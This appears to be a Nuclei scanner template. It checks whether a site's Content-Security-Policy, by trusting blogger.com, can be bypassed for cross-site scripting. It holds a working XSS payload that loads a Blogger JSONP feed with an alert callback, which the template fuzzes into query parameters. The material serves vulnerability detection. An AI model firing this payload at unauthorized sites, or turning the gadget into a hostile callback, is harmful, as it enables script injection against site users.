id: blogger-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Blogger API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,blogger-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "blogger.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: blogger_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.blogger.com/feeds/8063678697117239807/posts/default?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "blogger_api_csp_xss == true"
# digest: 4a0a00473045022100bfcf368dac9c18887188c3867de72ff3ee2f83e738195398ec7b884129f739bc02201e4d1a562fa17d65c2bddb783fe887b89a9068ca144419a201b07ada84247f69:922c64590222798bb761d5b6d8e72950